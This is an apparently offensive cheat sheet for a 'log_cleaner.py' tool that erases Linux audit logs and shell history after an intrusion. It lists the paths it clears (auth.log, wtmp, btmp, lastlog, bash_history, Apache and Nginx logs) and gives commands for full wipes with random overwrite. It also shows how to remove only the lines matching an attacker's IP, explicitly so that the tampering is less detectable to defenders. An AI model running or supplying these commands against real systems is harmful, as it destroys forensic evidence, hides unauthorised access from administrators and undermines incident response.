Log Cleaner — cheat sheet

Clears Linux system logs and shell history to remove traces after a session. Supports surgical line removal or full wipe.

Step 1 — List All Tracked Logs

```
python3 log_cleaner.py list

# Output shows:
#   Category       Path                         Status
#   auth           /var/log/auth.log            1.2 MB
#   bash_history   /root/.bash_history          3.1 KB
#   apache         /var/log/apache2/access      8.4 MB
```

Step 2 — Clear by Category

```
python3 log_cleaner.py clear auth
python3 log_cleaner.py clear bash_history
python3 log_cleaner.py clear apache
```

Category	Paths it clears
`auth`	/var/log/auth.log, /var/log/secure
`syslog`	/var/log/syslog, /var/log/messages
`lastlog`	/var/log/lastlog
`wtmp`	/var/log/wtmp
`btmp`	/var/log/btmp
`bash_history`	~/.bash_history, /root/.bash_history
`apache`	/var/log/apache2/access.log, error.log
`nginx`	/var/log/nginx/access.log, error.log

Step 3 — Surgical Line Removal (grep-remove)

Removes only lines matching your IP / username — leaves the rest of the log intact (less suspicious):

```
python3 log_cleaner.py grep-remove -f /var/log/auth.log -p '10.10.10.10'
python3 log_cleaner.py grep-remove -f /var/log/nginx/access.log -p '10.10.10.10'
```

Step 4 — Full Clean

```
# Clear all categories at once
python3 log_cleaner.py full

# With secure overwrite (writes random data before truncating)
python3 log_cleaner.py full --overwrite

# Skip specific categories
python3 log_cleaner.py full --skip apache nginx
```

> Most system logs require root. Run as root or via sudo.

Key idea: grep-remove is safer than full clear — a log file that is completely empty looks suspicious to a defender. Surgical removal of your specific IP/session is less detectable than wiping the entire file.